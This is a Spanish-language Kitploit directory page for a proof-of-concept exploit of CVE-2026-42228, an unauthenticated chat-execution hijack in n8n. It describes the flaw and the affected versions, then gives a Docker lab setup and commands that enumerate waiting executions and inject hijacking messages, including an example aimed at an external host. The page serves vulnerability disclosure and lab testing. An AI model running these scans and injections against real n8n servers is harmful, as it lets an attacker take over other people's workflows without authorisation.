Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42228 — Prueba de concepto del exploit para CVE-2026-42228, una vulnerabilidad de secuestro de ejecución de chat sin autenticación en n8n, con scripts automatizados de escaneo y ataque. | Kitploit
Herramientas/GitHubGitHub/rudsarkar/cve-2026-42228
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubrudsarkar/cve-2026-42228

CVE-2026-42228

Prueba de concepto del exploit para CVE-2026-42228, una vulnerabilidad de secuestro de ejecución de chat sin autenticación en n8n, con scripts automatizados de escaneo y ataque.

Ver Repositorio
6hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GHSA-f77h-j2v7-g6mw — Secuestro de ejecución de chat no autenticado en n8n

CVE: CVE-2026-42228
Severidad: Alta
Afectado: n8n < 1.123.32
Corregido en: n8n 1.123.32 / 2.17.4 / 2.18.1


Resumen de la vulnerabilidad

chat-service.ts :: startSession() acepta un executionId de la cadena de consulta del WebSocket y solo comprueba que la ejecución exista en la base de datos. Nunca verifica que el llamador esté autorizado para acceder a esa ejecución.

Un atacante no autenticado que conozca (o pueda enumerar) un ID de ejecución numérico válido para una ejecución en estado waiting puede:

  1. Conectarse al WebSocket /chat sin credenciales.
  2. Recibir el mensaje pendiente que se muestra a un usuario legítimo.
  3. Inyectar entrada de chat arbitraria que reanuda — y secuestra — el flujo de trabajo.

Requisitos previos:

  • Un flujo de trabajo de Chat Alojado público con Autenticación = Ninguna activo.
  • Al menos una ejecución se encuentra actualmente en estado waiting.
  • El atacante puede adivinar o enumerar el ID de ejecución numérico (enteros secuenciales).

Configuración del laboratorio

Requisitos

  • Docker ≥ 24 con Compose v2
  • Puerto 5678 libre en localhost

Configuración con un solo comando

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

Esto descarga n8nio/n8n:1.123.22 (última versión afectada), construye la imagen del atacante e inicia el objetivo vulnerable en http://localhost:5678.


Recorrido del exploit de extremo a extremo

1. Configurar el objetivo vulnerable

  1. Abra http://localhost:5678 y complete el asistente de configuración (cualquier credencial).
  2. Cree un nuevo flujo de trabajo.
  3. Agregue un nodo Chat Trigger → establezca Autenticación = Ninguna.
  4. Agregue un nodo Wait (o cualquier nodo que pause para entrada del usuario) después del trigger.
  5. Active el flujo de trabajo.

2. Activar una ejecución en espera

Abra la URL de Chat pública que se muestra en el nodo Chat Trigger y envíe un mensaje. La ejecución entrará en estado waiting, pausada para la siguiente respuesta de chat.

3. Escanear ejecuciones en espera (no autenticado)

root@kitploit:~
./exploit.sh scan
# o especifique un rango:
./exploit.sh scan 1 500

Salida esperada cuando se encuentra una ejecución vulnerable:

root@kitploit:~
[+] WAITING execution found! exec_id=7
    Server said: 'n8n|continue'
    Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
    [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'

4. Atacar un ID de ejecución conocido directamente

root@kitploit:~
./exploit.sh attack 7
# o con un payload personalizado:
./exploit.sh attack 7 "custom injected message"

5. Observar el secuestro

De vuelta en el editor de n8n, el flujo de trabajo se reanuda con el mensaje inyectado por el atacante en lugar de la entrada del usuario legítimo.


Comandos manuales de Docker

root@kitploit:~
# Construir la imagen del atacante
docker build -t n8n-chat-hijack-poc .

# Escanear (se conecta a la red compartida del laboratorio)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --start-id 1 --end-id 200

# Atacar una ejecución específica
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --exec-id 7 --inject "PWNED"

# Contra un objetivo externo (sin necesidad de flag de red)
docker run --rm n8n-chat-hijack-poc \
    --target https://n8n.example.com \
    --exec-id 42 --inject "PWNED"

Limpieza

root@kitploit:~
./exploit.sh clean

Detiene los contenedores y elimina los volúmenes (incluida la base de datos SQLite).


Archivos

ArchivoDescripción
poc_GHSA-f77h-j2v7-g6mw.pyPoC de Python independiente
Dockerfile

Referencias

  • GHSA-f77h-j2v7-g6mw
  • Registro de cambios de n8n 1.123.32
Descargar herramienta
Imagen del contenedor del atacante
docker-compose.ymlLaboratorio completo: n8n vulnerable + atacante
exploit.shScript auxiliar para operaciones comunes